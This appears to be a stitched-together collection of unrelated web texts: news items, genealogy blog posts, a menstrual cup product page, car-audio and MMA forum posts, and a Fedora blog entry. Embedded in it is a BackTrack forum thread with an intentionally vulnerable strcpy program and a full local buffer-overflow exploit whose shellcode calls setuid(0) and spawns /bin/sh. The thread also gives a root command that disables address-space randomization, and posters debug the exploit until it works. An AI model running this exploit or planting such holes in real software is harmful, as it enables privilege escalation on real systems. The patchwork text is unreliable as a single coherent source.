They would drive around neighborhoods on weekend afternoons looking for "kid debris" and knocking on doors to ask residents whether children played outside.
"It's almost impossible to find," said Lanza, a tech entrepreneur who, since that experience more than eight years ago, has made it his life's work to promote unstructured neighborhood play for kids — his own and others.
"And the real-estate industry was no help at all."
Lanza, author of "Playborhood: Turn Your Neighborhood Into a Place for Play," will speak Monday, Feb. 25, in an evening event at Cubberley Theatre sponsored by Friends of Preschool Family. He will discuss ways parents can promote neighborhood play and help kids develop into "active, meaningful adulthood" through playful childhoods.
"One way to characterize my life is that I'm applying entrepreneurship skills to my kids' childhood," said Lanza, who launched a series of tech startups before turning his professional attention to child's play.
Lanza grasped early in his quest for a neighborhood with street life that he was bucking the cultural norm, a norm he believes has been turned upside down since his own fondly remembered youth in Pittsburgh, Penn.
"Now, there are a lot of neighborhoods with a lot of kids, and you don't see a single kid outside," he said.
"People are doing everything they can to optimize kids' future potential: We schedule them to the max and we're happy if they do homework."
"But I don't adapt, and I said, 'I'm not going to raise my kids this way.'"
After testing different Palo Alto and Menlo Park neighborhoods through rentals from Midtown to Guinda Street to Creek Drive, Lanza and Ni purchased a house in Menlo Park — not their favorite, but one they felt had "neighborhood potential."
They've tried to foster street play by constructing an "outdoor family room" in their front yard.
"We're doing some pretty wild things with our kids, but I'm pretty sure their lives are better," he said.
The family doesn't entirely shun typical routines for their three boys, who are now 8, 5 and 3.
The oldest takes tennis after school and participates in the Young Builders workshop at Midtown.
But, Lanza said, "We're not big on organized sports, and we try to leave two or three days open for him."
Their efforts have won what they hope is the gradual acceptance of neighbors.
"There's lots of excitement from certain people — Ohlone (Elementary School) types — but for most people it's, 'We like it, but we're not going to start canceling our kids' activities so they can hang out in your yard more,'" he said.
"Others are 'living the life,' scheduling their kids like crazy. But interestingly, two of our neighbors have independently come to us and said, 'We used to not really want our kids to come to your place, but now we realize it's just a lot of fun.'"
Lanza's research has led him to a few urban and suburban pockets around the country where outdoor street play is supported and thrives. In a low-income neighborhood of the Bronx a dedicated resident for the past 37 years has created a sanctuary for play on Lyman Place, a small street, where she gets through traffic banned for the summer and kids populate the space.
He's been invited to speak next month with the mayor and department heads of Somerville, Mass., who are interested in promoting the idea.
His research on play has led Lanza to the belief that it doubles as the best path for nurturing curious and engaged adults.
He's been interviewing parents of entrepreneurs and social activists, including winners of the Thiel Fellowship, which pays selected students under 20 $100,000 over two years to drop out of college and pursue entrepreneurial, social or scientific work.
He theorizes that pressured, overscheduled childhoods create unprepared adults.
"We have an epidemic of 20-somethings who are listless, don't have direction in life and living with their parents — and a lot of them are very well-educated," he said.
"To some extent it's because of the economy, but the key statistic is that the labor-participation rate of 20-somethings is at an historic low, so they're not even trying. The statistics say there's not as much trying going on."
In his next book, tentatively titled "Raising Doers," Lanza said he will connect the dots between playful childhoods and adults who are "active, caring, solutions-oriented participants in the world."
His Feb. 25 talk, "From Players to Doers," is free and open to the community. Part of Preschool Family's "Parents Survive & Thrive" speaker series, it will be from 7:30 to 9:30 p.m. at Cubberley Theatre, 4000 Middlefield Road, Palo Alto.

What exactly do you need? A simple theoretical example with C source code and debugger or....something more complex (in this 2nd case I cannot help you)
I was wondering if anyone could make a tutorial or a video thats demonstrating a simple buffer overflow on BackTrack.. I tried allot of tutorials already but none of them work on BackTrack.
What exactly do you need? A simple theoretical example with C source code and debugger or....something more complex (in this 2nd case I cannot help you)
I would like to exploit this code
with a shellcode.Code:#include <stdio.h> #include <stdlib.h> // 1024 bytes buffer // 4 bytes to overwrite ebp // 4 bytes to overwrite eip // 1032 bytes :) void viewer(char *string) { char buffer[1024]; strcpy(buffer,string); printf("You have entered: %s\n",buffer); return; } int main(int argc, char *argv[]) { if(argc < 2) { printf("%s <something> \n",argv[0]); return 0; } viewer(argv[1]); return 0; }
I tried various tut's already but none of them seem to work on BackTrack.
Like when I load an egg and then use an eggfinder the address changes all the time..
Dear UnnamedOne,
Could you please check this thread:
We have been discussing recreating buffer overflows on known exploits, we will be happy to join us
mmm....If i've not misunderstood, your problem is the randomization of memory (kernels starting from 2.6.12 add a stack protection by default).
type from shell (as root):
it should work 'til the next reboot.....Code:echo 0 > /proc/sys/kernel/randomize_va_space
EDIT: Well, it works by loading an egg, but not with this code..
Code:#include <stdio.h> #include <stdlib.h> #include <string.h> #define NOP 0x90 // defining the NOP #define VUL_FILE "./vuln" char shellcode[] = "\x31\xc0\x31\xdb\x31\xd2\x53\x68\x69\x74\x79\x0a\x68\x65\x63" "\x75\x72\x68\x44\x4c\x20\x53\x89\xe1\xb2\x0f\xb0\x04\xcd\x80" "\x31\xc0\x31\xdb\x31\xc9\xb0\x17\xcd\x80\x31\xc0\x50\x68\x6e" // our shellcode "\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x8d\x54\x24\x08\x50\x53" "\x8d\x0c\x24\xb0\x0b\xcd\x80\x31\xc0\xb0\x01\xcd\x80"; unsigned long get_sp(void) { __asm__("movl %esp, %eax"); // this function returns the stack pointer address, hopefully where } // our shellcode is stored. int main(int argc, char *argv[], char **envp) { int buff = 1032; // size of the vuln buffer. unsigned long addr; // addr of shellcode. char *ptr; // used for adding nops etc. if(argc > 1) buff = atoi(argv[1]); // if the user supplies a size, use this instead. if((buff % 4) != 0) // if the size is not a mem addr (divisable by 4) buff = buff + 4 - (buff % 4); // add 4 to it, take away the remainder (makes it divisable by 4) if((ptr = (char *)malloc(buff)) == NULL) // check to see you allocated enough memory. { printf("Error allocating memory.\n"); exit(0); } addr = get_sp(); // get the address of our shellcode hopefully. memset(ptr, NOP, buff); // fill the buffer with NOPS making our chances higher. memcpy(ptr + buff - strlen(shellcode) - 8, shellcode, strlen(shellcode)); // store the shellcode in the buffer. *(long *)&ptr[buff - 4] = addr; // make eip point to our shellcode. execl(VUL_FILE, "exploit example1", ptr, NULL); // execute the vuln program with our NOPS&shellcode in the buffer. printf("Addr: %s\n",addr); return 0; }
The source code appears to be ok. The only other information I have to give you is that some OS mark the stack as "not executable" (precisely to prevent stack overflow, so this is because heap overflow and return-into-libc exist ).
I think you should try to look at the thread posted by l1nuxant_ee...My advice is to try one of the known exploit and see what happen: if everything works, an error may be present in your code. Otherwise may the stack be "not executable" and we have to change this setting....(or we need the help of someone more expert )
and changedCode:addr = get_sp(); // get the address of our shellcode hopefully.
toCode:unsigned long addr; // addr of shellcode.
and now the code works fineCode:unsigned long addr = get_sp(); // addr of shellcode.
Time to learn remote buffer overflow I think now
Haha! Cool !! We don't ask for this mistery of C but we are happy that everythings now work. Great !

My Ride: 2001 330ci Dinan S1
i have a few audio questions(long)
ok first off, i serched and im still confused. with that out the way. i bought my 330ci a few montha ago and it had a few mods already. i posted a question about a phone cord sticking out of my gauge cluster but i didnt have any pics. i do now they are posted below. im sure its for a radar detector so im not too worried about that but there are the pics anyway. what i am wondering about is this.
the car has what looks like an ipod mount with an ipod cord sticking out of it. i dont have an ipod i have a zune. i had no need for the ipod stuff so for the time being i got out one of my old HU that was laying around the house with an AUX plug to play my zune with. i wanna go back to my stock unit because i like that look better but it doset have an AUX hook up or i think it dosent. what i wanna know is what do i buy to get the zune to work on the factory unit? since it has an ipod set up can i some how use that to hook up the zune. i think my HU is too old to actuly do a stright AUX cabel set up like i seen in some of the other post. so what are the steps i take to use my zune on my factory unit and stop wasteing money on audio like i have been? one more thing when i drive my car the audio sems to move from one side of the car to the other. my friend seems to think i need a capasitor( not sure of the spelling) but i thought that was for big set ups. i have an big old pheniox amp and 2 JL 8in woffers with some enclosuers that blend in with the trunk. i had to look twice when i bought it to notice them. besides the sound going from one side to the other it all looks fine so i dont wanna replace anything i dont need to. oh yeah and my last question. about hushmat/dynamat. i get laot of rattle in the back. i think its comeing from the big part that has the bolt on speaker grills. i was thinking about using this stuff on the entire back part. any one done this or have a better idea? ok thats it for now but im sure mor questions will come up. thanks.. and like i said i serched and i still dont know whats going on.
here are pics sorry that they suck but i have a crappy camera
the date on the bmw HU is 20-04-2001

The first pic looks like a connection for a V1.
BMW makes aux-in adaptors for some units, but I am not sure what radios it works with. There are also aftermarket solutions (dice, etc, check BSW's website). I would take that ugly mount out and place the connections in a eurotray, which is a part you can get from a delaer and replaces cup holders, or you can go to the glove box.
As far as audio cutting off, someone has to troubleshoot to figure out what the problem is. Could be head unit, wiring, amp, shorted speaker.

Can Findmypast.com Take PERSI From Most-Overlooked to Most-Used Genealogy Resource?
Posted by Diane
PERSI, aka the Periodical Source Index, may be about to go from one of the best most-overlooked genealogy resources to one of the best most-used.
Brightsolid, the British company behind findmypast.com and other
genealogy websites, has agreed with PERSI's creators
at the Allen
County (Ind.) Public Library (ACPL) to publish the index—and the company plans to make each index entry link to an image of the
article it refers to.
Let's back up for a minute and talk about PERSI: It's an index to articles in thousands of genealogy and local history periodicals published in the US and Canada back to 1800. Any of which could contain information that helps you with a family or place you're researching
Allen County librarians began creating PERSI
in 1986. It now has about 2.5 million citations and adds
100,000 per year, according
to the Journal Gazette.
The index was made searchable on
Ancestry.com and HeritageQuest Online (which has a more
recent version you can search at libraries that offer
HeritageQuest Online). You can run a search, and then if you
find an index entry that mentions a family or place of interest, you can order a copy
of the article from ACPL.
That's been the only way for you to access all those
genealogy periodicals. You know,
unless you want to subscribe to all of them, and then read them.
And then find the periodicals no longer in publication, and read
those, too.
Until now. If brightsolid can secure permission from publishers,
findmypast.com subscribers will be able to search for articles
related to their ancestors, and then link to digitized images of
the articles. That can't happen soon enough as far as I'm

Watch the "Who Do You Think You Are?" Kelly Clarkson Episode on iTunes
Posted by Diane
The US show "Who Do You Think You Are?" doesn't debut on TLC until July 23, but you already can watch the first episode, featuring singer Kelly Clarkson, on iTunes. Thomas MacEntee of GeneaBloggers tells you how (you'll need to sign up for an Apple ID if you're not already on iTunes).
This morning I watched along as Clarkson traced her Civil War ancestor Isaiah Rose from Ohio to Georgia, where he was imprisoned at Andersonville, and back.
Kelly Clarkson is a hugger. It seems weird to me to hug the archivists and historians at the library, but then I'm not a big hugger in general. If you're learning remarkable and humbling new stories about your ancestors, maybe hugging would be part of your genealogy happy dance.
I don't want to give too much away before the episode airs. So all I'll say is that viewers get to visit the Andersonville National Historic Site, see historical illustrations and photos (including a shocking image of a man who was held there), and hear a contemporary account from a prisoner. To me, that's the best part of the show—you learn about the history that might have affected your own ancestors and that shaped our country.

House Histories: Do You Believe in Ghost Signs?
Posted by Diane
This was a totally unexpected find: I was casually searching the Library of Congress website for old images of Cincinnati's Over-the-Rhine neighborhood, where several ancestors lived. This photo popped up in my results:
The building closest to the camera was once my great-great-grandfather's cigar store and family home. The picture is part of a group of shots from the neighborhood, taken in 1982 for the Historic American Buildings Survey (HABS). There's an accompanying PDF document with history and architecture notes.
When I opened the giant high-resolution TIFF of the image, I saw this:
Do you see it, too? It's a "ghost sign"—the outline of some of the letters from the store's "H.A. Seeger Cigar Manufacturer" sign. Here's a closer look at part of it:
My mom once drove us kids by the building, and we saw where the letters had been. I've often wished we took a photo during that stop—the building's been renovated and that ghost sign is gone. So this is an extra-special find.
This copy of a photo from my family collection shows what the sign looked like back in the day:
In an earlier picture I've posted before, the sign's lettering was different and there was no street lamp or window on the first floor. If I can figure out when those updates happened, it'll help me date this photo.
Time to learn more about this building. Are you researching an ancestor's house? Our guide to constructing a house history is a $4 download in ShopFamilyTree.com.
Here's how found the photo: On the Library of Congress site, I searched for the term Cincinnati German and limited my results to "Photo, Print, Drawing," like so:
The group of pictures was second in my search results. Not everything in the LOC catalog is digitized online, but luckily, these are. I knew to click on it because the streets in the description are the ones around the building.
We list more websites with databases of old photos here. Many state and local archives digitize photos for online memory projects, too.
You can learn more about finding, identifying and preserving old photos from our Photo Detective Collection, with study materials from photo historian Maureen A. Taylor and digital photography expert Nancy Hendrickson.

Using Evernote to Organize My Genealogy Research
Posted by Diane
My former method of genealogy research organization was to email myself notes and records, or use notekeeping gadgets on my iGoogle page.
But with the emails getting buried in my in-box and the impending retirement of iGoogle, I wasn't very organized.
Then I started hearing more about the Evernote web clipper and note-taker, and we began planning an Evernote for genealogists webinar with Lisa Louise Cooke (it's July 25—more details below).
So I gradually started using it, like this:
I'm feeling a lot less scattered, genealogy-wise, these days. I also use Evernote to keep my grocery list and save business cards, and it helped me get organized for our vacation last month. It's free, unless you need a LOT of storage.
I'm sure there's a lot more I could be using it for—sounds like you can share notes with other researchers and relatives, perform text-recognition of images to make them searchable, annotate images using something called Skitch, set up tables, and more.
So I'm looking forward to the webinar with Lisa. It's called Organize Your Research With Evernote, and it's on Thursday, July 25 at 7 p.m. ET (that's 6 p.m. CT, 5 p.m. MT, 4 p.m. PT).
And you can save $10 if you register now (this early registration offer expires July 18).

Ok, I did search for this but I didn't find anything. I don't know if I wasn't searching correctly since the error I'm trying to get is a little difficult, or so I think, to search for.
I'm trying to install BT4R1 on my ASUS Eee PC 1015 in the following manner. I had Win7 Starter on it and loaded Ubuntu 10.04 LTS on it as a dual boot. That went fine. However, I tried to make the machine a triple-boot since I have a 250GB hard drive in it and felt no real use for the overall size but still needed to run Office 2010 for school.
With all partitions resized to about 80gb each, I tried to load BT4R1 through StartX after a fix-vesa command. However, I receive he following error:
"Error informing the kernel about modifications to partition /dev/sda5 -- device or resource busy. this means linux won't know about any changes you made to /dev/sda5 until you reboot -- so you shouldn't mount it or use it in any way before rebooting"
Ignore and / or Cancel are my only options.
I thought that it may be due to the fact that I was trying to make it a triple-boot and it couldn't add any more to the boot loader but since I got that error, I wiped and loaded ONLY Ubuntu 10.04 but still get the same error when trying to resize the partition to add BackTrack on t.
Can anyone help me out? Please let me know if you need any more information.
MODS... If I have made this a repost off of another thread, please let me know as it was not intentional and I did try searching for the error message.
Thanks for the help in advance everyone!

I've been involved in MMA since Autumn 2003 but have got a little out of touch with who's who etc since I stopped training about 3 years ago; so can someone explain to me why there are so many feuds in UK MMA
Just off the top of my head we have:
The world and his wife sniping at Knuckleup
The Extreme Brawl dispute (which arguably is an exceptional case except that other people who don't necessarily know the full facts are commenting on it)
The recent scepticism about BAMMA and their intentions
Assorted disputes between former close associates that have popped up here over the last 12 months either as threads in themselves or as barbed comments in other threads
It all seems a long way from where it all started as a world where everyone got along with each other and found it a refreshing change from the politics of traditional martial arts (TMA).
The TMA world of senseis who wouldn't let you darken their door again if yoiu trained with someonel else, endless splitting and sub-splitting of establsihed organisations seems trivial in comparison.
Could it be the same old problem but with higher stakes: Too many people wanting to make a full-time living out of something where the market just isn't big enough to sustain them all; or is somethign else going on?

Cynthia is one the names of Goddess Artemis. Cynthia is a Greek Goddess of the moon, hunt and the night sky who was later connected to Selene and Diana, and so she is continuing Lunette's chain of Moon Goddesses. Cynthia is an important symbol for young independent and unmarried women. In Goddess traditions today, Cynthia is worshipped as a Maiden Goddess. A flower sacred to Cynthia was the Amaranth, with a deep purple color that inspired Lunette to create this beautiful purple Lunette Cynthia Menstrual Cup. The Lunette Cynthia Menstrual Cup is available in both size 1 and 2. The Lunette Menstrual Cups are the only colored cups approved by FDA. The Lunette Cynthia Purple Menstrual Cup is made of the same U.S. Food and Drug Administration approved silicone as Lunette's other menstrual cups. The color ingredient is also FDA approved, doesn't contain heavy metals, and is safe to use. What is the Lunette menstrual cup? How can Lunette make your periods nicer? Lunette menstrual cup is healthy. It doesn't absorb moisture like tampons or cause sweating like pads. Lunette is made of soft medical grade silicone, not of rubber latex. The silicone design is hygienic since it naturally discourages the growth of bacteria. Risk of infection is much less than that of tampons or pads. It's texture makes it easy to insert and it is reusable for years to come. Lunette is also an "eco-thing"Lunette menstrual cup is also an "eco-thing". No cardboard, cotton, plastic, wrappers or applicators to be thrown away. Since a Lunette is a one-time-purchase, it saves your cash too. Lunette menstrual cup means security, less change hassle. A cup, by its liquid holding nature is more secure than tampons or pads. You can wear your cup continuously for up to 12 hours. It can also be used while sleeping at night. Lead your normal life all month with Lunette menstrual cup. It comes with a small, cute satin pouch that fits discreetly into your handbag. You'll never have to worry about where to buy tampons or smuggle them up your sleeve on your way to the ladies' room. You can do all your usual physical activities, like sports. What is the Lunette menstrual cup?The Lunette menstrual cup is a reusable menstrual protection product made in Finland. It is an easy-to-use, safe, and hygienic alternative to pads and tampons. By using the cup, you will help protect the environment, save money, and get peace of mind. Just fold, insert like a tampon and it collects blood rather than absorbs it. You empty it rather than change it — a little bit different. The Lunette menstrual cup is: made of medical-grade silicone in Finland latex-free, odorless, and safe affordable and environmentally friendly – with proper care it will last for years a sanitary and healthy alternative to disposable tampons and pads easy-to-use, practical, and comfortable. It needs to be emptied only two to four times a day and can be used overnight safe since it is not conducive to dampness, outbreaks of vaginal candidiasis, cystitis or toxic shock syndrome. In fact, TSS has not been linked to the use of menstrual cups suitable to be worn during sports and other physical activities easy to clean and disinfect between periods by boiling briefly in water or washing with rubbing alcohol designed for women of all ages and sizes also designed for women who have not yet engaged in sexual intercourse as well as those who use an IUD or contraceptive ring. However, if you are planning on using Lunette together with an IUD, Lunette recommends discussing it with your doctor enables you to monitor your flow by providing measuring lines on the inside of the cup (5 ml and 13.5 ml in size 1, 7.5 ml and 15 ml in size 2). The lining of the cup is totally smooth and the tab is flat, making cleaning very easy not to be used during post-natal bleeding due to the risk of inflammation not disruptive to the natural lubricating ability of the vagina, nor does it dry out the vaginal mucus membrane Why use the Lunette Menstrual Cup?The advantages of Menstrual CupLunette menstrual cup is a liberating alternative to disposable tampons and pads. Once you get a Lunette menstrual cup, you will never be left without menstrual protection again. You can say goodbye to uncomfortable, bulky pads and you don't have to worry about getting different sized tampons to get through each period. EasyThe Lunette menstrual cup is as easy-to-use as a non-applicator tampon. Simply fold and insert. Because a Lunette can hold much more liquid than a tampon, it only needs to be emptied 2 to 4 times per day during normal flow, so the times you have to deal with it are less frequent. Hygienic & SafeWith tampons, fibers can be caught in the vaginal canal upon removal and its absorpency can dry out the mucous membrane. Pads create a stifling, moist environment that is a breeding ground for yeast infections, bacteria and odor. The menstrual cup is more sanitary because it does not disrupt the natural lubricating ability of the vagina or interfere with the natural process of shedding menstrual blood, dead cells and bacteria. The Lunette menstrual cup has received approval from government health agencies in multiple countries. Not only has Lunette received FDA approval in the United States, it has also been approved by the TGA, Australia's regulatory agency for drugs and medical devices. In Finland, all Lunette products have received the prestigious Key Flag emblem, a certification for the highest quality of Finnish products. For further piece of mine, there have been no reported cases of Toxic Shock Syndrome (TSS) in connection with the use of menstrual cups. EconomicalThe average woman spends between $48 – 84 per year on disposable tampons and pads. The Lunette is a one-time cost that will last for years. That saves you a chunk of money! Environmentally friendlyA Lunette menstrual cup is an eco-thing. It will last for years and during the cup's lifespan, there will be no waste to dispose of – no accumulation of plastic applicators, wrappers or bio-waste from used tampons and pads. In fact, the Lunette box and enclosed informational material is made from recycled paper. In Finland, the Lunette menstrual cup is produced in a factory that gives priority to environmental issues. Lifestyle FriendlyThe Lunette menstrual cup can be worn during sports and other physical activities, just like a tampon. And there are extra benefits to having no strings: sleeping naked is loads more comfortable, no risk of a peek-a-boo string at the beach, and cups are so discreet that your partner won't notice a thing during oral sex. SufficientThe Lunette menstrual cup can be worn at any time in your menstrual cycle, during your heaviest and your lightest flow, day and night. It eliminates the need to have "supplies" on hand at all times during period. No more smuggling tampons up your sleeve or taking your purse to the restroom. InnovativeThe lining of the Lunette menstrual cup is smooth which makes cleaning very easy. Because the tab of the Lunette menstrual cup is flat, it does not collect bacteria. You can disinfect the cup by boiling it briefly in water, using the Lunette disinfecting wipes, or rubbing alcohol. Did you know? The average woman uses approximately 17,000 tampons, pads or pantyliners in her lifetime. 4.3 billion disposable menstrual protection products (pads, tampons, panty liners) are used per year in the UK. 2.5 million tampons, 1.4 million sanitary towels, and 700, 000 panty liners are flushed down the toilet every day in the UK (2006). 75% of blocked drains are caused by flushing sanitary protection products. Lunette menstrual cup is an alternative way for women to reduce human impact on the environment — every month. The Menstrual Cup Sizing Guide: How to choose the right size of Lunette menstrual cup?The Lunette menstrual cup model 1:We recommend Lunette menstrual cup model 1 for women with light to moderate flow, younger women or women who have never had intercourse. The diameter is 41 mm (1.6 inches) by 47 mm (1.9 inches). The stem measures 25 mm (1 inch). The volume of the cup is 25 ml (0.85 fl oz). The Lunette menstrual cup model 2:Lunette menstrual cup model 2 is recommended for women who have a normal or heavier flow. The diameter is 46 mm (1.8 inches) by 52 mm (2 inches). The stem measures 20 mm (0.8 inches). The volume of the cup is 30 ml (1.0 fl oz). The Lunette menstrual cups are soft and pliable, however, model 1 is made of softer silicone than model 2. Quality and Standards of Lunette Menstrual Cup:Finnish StandardsThe Lunette menstrual cup is safe. It is made of medical-grade silicone which is FDA approved for medical use. The cup is manufactured in a Finnish factory that closely monitors the production of each product to guarantee the safety of the materials used. The production of every Lunette menstrual cup can be tracked from the raw material to the finished product. According to EU legislation, the menstrual cup isn't a product that is to be controlled by The National Agency for Medicines; however, regular consumer protection laws do apply. This is why the Lunette menstrual cup isn't able to include any label indicating the approval of the national health authority in Finland. Lunette products have received the Key Flag emblem, a certification by The Association for Finnish Work for first-class Finnish quality products. U.S. StandardsThe type of silicone used in the Lunette menstrual cup is approved by the U.S. Food and Drug Administration (FDA). This silicone is not the same type that is used in breast implants. The Lunette cup is made of a solid form of silicone like that used in heart valve devices, unlike breast implants which is made of liquid silicone. It is hypoallergenic, toxic-free, durable, and in no way harmful to human tissue. The Lunette cup is made of the best possible quality of medical-grade silicone. You can safely use the Lunette menstrual cup for several years – there is no need to replace it every year. FDA recommends replacing your cup every two or three years. All Lunette menstrual cups, including the colored cups, are approved by the FDA.

Mixing the old and the new
Linux for the GNU South – Attend if you can.
A lot has been written on GNOME 3 and, truth be told, I don't have the digital horsepower (yet) to run GNOME 3 to give an adequate assessment. I think I get what they're trying to do and, to be honest, I'm not sure I agree with the direction GNOME is taking here.
Juan Rodriguez is taking the proverbial bull by the horns and has initiated a project called BlueBubble, which marries GNOME 2.32 to the newly released Fedora 15, "breaking the least amount of packages possible."
What it does, essentially — or at least in Rodriguez's opinion — is bring the best of both worlds: Fedora 15 plus the latest version of GNOME before 3.0. The future, he says, can wait.
Rodriguez says that the target audience is the same kind of people who wanted the "Old Coke" to come back when Coca-Cola introduced "New Coke" unsuccessfully decades ago.
He's also seeking help on this, so if you're really enamored with GNOME 2.32 and want to see it continue on the Fedora 15 and Fedora 16 versions, contact him — he can be found in many of the Fedora channels on Freenode IRC as "nushio"
Not only this, they already have a cool logo and video.
Go for it, Juan!

I'm just planning to switch to KDE, which is more internally advanced (Nepomuk FTW!) and less about eye candy. The great disappointment about Gnome 3 is not its emphasis of prettiness over usability but rather its failure to incorporate truly significant new features.
May 31, 2011 at 6:00 am
I think GNOME version (not only for Fedora, but that one too) will fork into 2 branches, one of them being for "old coke" lovers. It's like KDE3 which still attracts users.
PS. Here are my reviews of Fedora, if you're interested:
May 31, 2011 at 8:05 am
The last time I purchased Coke, the separate "Classic" labeled bottle was missing. On comparing the nutritional and ingredients info on the "plain" bottle I bought with an old Classic bottle I had, Classic Coke has won; they are the same. (Technically, even Classic Coke wasn't "real" Coke once they started using HFCS instead of cane sugar.)
Iirc, the main complaints about "New Coke" were that it was way oversweetened and the "tang" was gone; it had lost its distinction. New Coke catered to what the company's market research told them the majority of the public wanted. Apparently, what their sales told them was that New Coke didn't gain enough customers to make up for the old customers they had alienated.
I don't think that the Gnome saga is going to have the same ending … or even that it necessarily should.
May 31, 2011 at 4:50 pm
The Colonel only drinks Mexican Coke. They still use sugar.
So I guess I will wait for the Mexican Gnome. That is Gnomo
for all you gringos.

PRIME Minister David Cameron has praised emergency services in East Lancashire for the handling of the weekend floods.
Mr Cameron made the comments in response to local Tory MP Jake Berry at Prime Minister's questions in the House of Commons.
The Rossendale and Darwen backbencher told the Prime Minister: "On Friday night, the towns of Bacup, Craw-shawbooth, and Darwen, were subject to unprecedented flooding when the River Irwell and the River Darwen burst their banks at the same time.
"Will you join me in congratulating the emergency services on working through the night and, in particular, the residents of Crawshawbooth, who came out in the morning to clean up their village so that it was able to welcome the Olympic torch less than 12 hours later?"
The Prime Minister replied: "I certainly join you in praising the emergency services.
"These were really very dangerous and damaging floods, caused by a huge amount of rainfall over a very short period.
"The emergency services performed superbly, and I hope to go and see that for myself, but now we are in the recovery phase, and the phase when people start to look at going back into their homes.
Mr Cameron cont-inued : "There will be all sorts of questions about insurance, and about how we can help, and I am sure that he will make those arguments here in the Commons and that the Government will do all they can to help."

Virginia Center for Family Relations, LPC & LMFT
Licensed Professional Counselor, Licensed Marriage and Family Therapist
100 B Mactanly Place, Staunton, Virginia 24401
How is Family Therapy different from other types of therapy? Family Therapy helps individuals and families overcome dysfunctional or destructive patterns. This is done by making some changes in the family as a whole system. That means each family member has his or her way of interacting with each other. Some are healthy, while other family patterns are very unhealthy and cause a tremendous amount of pain. Additionally, each family member has a role he or she plays in the way the family communicates and interacts with one another. A Family Therapist is trained in approaching counseling with individuals and families by looking at the family "system". The counselor, in speaking with the family, makes an assessment of the family patterns, then a plan...(view profile to read more)

Man's Speak: What Men Say & What They Really Mean
Guest Post by Marrie from www.dirtyinpublic.com
Granted men are much less of a mystery to women than women are to men. Men typically speak very plainly and honestly, except when trying to get you to sleep with them, then all bets are off. It isn't that men are inarticulate oafs, they just speak plainly and lack the ability to candy coat their words like women do so effortlessly. Where men get into trouble is when they try to communicate to a woman, like a woman. Men do this because most men have learned early that if they speak to a woman like a man, straight-from-the-hip, they can expect swift and painful consequences. Most women know the truth about what a man means, we just prefer that the truth not be served raw on a verbal silver platter. For the most part, there is very little variance between what men say and what they really mean; however, there are times when things communicated by a man get lost in translation.
Man's Speak:
- I'm hungry = I'm hungry
- Maybe = Yes, if I get sex tonight
- We need to talk = I'm breaking up with you
- I'm tired = I'm tired but can still have sex
- I'm sorry = Can we still have sex?
- You know, you're right = I still think I'm right but I want to have sex later
- Nice dress = Nice ass/cleavage, can we have sex?
- I am bored = Do you want to have sex?
- May I have this dance = I want to have sex with you
- Can I call you sometime = I want to have sex with you
- Do you want to go to a movie = I want to have sex with you
- Can I take you out to dinner sometime = I want to have sex with you
- I love you = I want to have sex with you…now
- I put new tires on your car = I love you

SC Supreme Court orders Baby Veronica back to Charleston adoptive parents
From our News Partners at WCBD-TV:
The SC Supreme Court was handed back the decision they ruled on last year involving the Indian Child Welfare Act. They were asked by the nation's highest court to determine where the child should live, not whether the ICWA applies. Wednesday the state said continuing litigation would only add to the heartache of the little girl. While the biological father, Dusten Brown, has five days to file another appeal many legal experts said this case is almost over - Veronica will move again to Charleston.
Jessica Munday, spokeswoman for the adoptive couple said now Veronica will have a life surrounded by everyone who loves her, including biological family. She said they will work to gradually transition Veronica back.
A win for James Island Couple in baby Veronica case
Switching families could have a psychological effect on Veronica
Baby Veronica's home still under debate
Dad in Baby Veronica case seeks Oklahoma adoption
Biological father of Veronica files for adoption in Oklahoma
Late last month the Supreme Court of the United States ruled in favor of a James Island adoptive couple battling to keep baby Veronica because they said ICWA did not apply in this case.
The act, written in 1978, was intended to keep Native American children with their tribal heritage.
In the case of baby Veronica, she lived with her adoptive parents for two years since the time she was born, but was taken to live with her biological father (a registered Cherokee member) after the South Carolina family court ruled in his favor.
However, the majority of the nation's highest justices said the ICWA did not apply to this case because the biological father had relinquished his rights and never had custody of the baby girl.

Visitors can easily damage Hanging Lake
August 21, 2006
GLENWOOD CANYON " More than 600 hikers wind their way up to Hanging Lake on a busy summer day, said Sally Spaulding, spokeswoman for the White River National Forest. As they climb, they trample plants, feed the wildlife, swim in the lake and leave trash all over the place.
"That volume has a huge impact on the area, and violations to the rules further accelerate that damage as well as the overall visitor experience," said Rich Doak, recreation program manager for the White River National Forest. "When visitors choose to break the law, they can cause significant damage to this fragile lake ecosystem."
The Forest Service reminds hikers to stay on trails, clean up after themselves, avoid animals and keep themselves and pets out of the lake because body oils disintegrate the calcium wall that holds the lake in place.
"The animals are really habituated to people and even beg for food," said Beth Boyst, the forest's wilderness specialist. "It's dangerous. Those animals could transmit disease, and feeding them actually hurts the animals in the long run."
Forest Service staffers are planning to replace the boardwalk and benches and build an informational kiosk to help visitors. Anyone interested in sponsoring projects or volunteering time can contact Boyst at 328-6388.

Convicted killer helping the FBI
(Cleveland) — A sex offender who pleaded guilty to killing two women more than 15 years ago and raping children is opening up to members of an elite FBI unit that studies serial killers and rapists.
Elias Acevedo Sr. agreed to spend the rest of his life in prison for the crimes. But The Plain Dealer reports he's also fulfilling a promise to assist behavioral analysts who work with the National Center for the Analysis of Violent Crime.
It wasn't part of Acevedo's plea agreement, but his attorney Bret Jordan said the interviews were his client's idea. Jordan says Acevedo "truly, truly feels horrible about what he did but he doesn't understand why it happened."
The FBI declined to comment on the arrangement.

WATCH: Wendy Williams admits 'My son doesn't like me!'
What began as a simple introduction to a story about Madonna's controversial use of the N-word in a tweet of support to her son Rocco, then turned into a personal breakdown on television.
Wendy Williams shed very emotional tears as she described Madonna's close relationship with her 13-year-old and burst out, 'What I discovered this weekend is that my son doesn't like me anymore.'
To the surprise of her audience, the distraught 49-year-old host talked about her troubled relationship with her own teenager, Kevin, who wants to spend more time with his dad, Kevin Hunter.
Wendy admitted, "You know, he's all into his father, you know how 13-year-olds are, I was the same way when I was 13, but it is breaking my heart."
"He's a father, he's a buddy, they talk sneakers, they go for hair cuts, they speed off in the cars and I'm just left there feeling like, 'Why you so pissed?' I'm not pissed, I'm a mom!"
"Rocco's 13-years-old and Rocco is a real fan of his mother," Wendy said while sniffling, then addressed her own son, saying, "You know how it is, I know what it is… Kevin, I discovered this a while ago, but the ball just got smacked home this weekend."
We hope things work out for the host and her teen, but so often this is the natural course of things for mothers and children.

Photo Gallery: Black Friday at Ontario Mills
ONTARIO - The thrill is gone.
The allure of door-buster sales on Black Friday has given way to a new retail trend: "Grey Thursday."
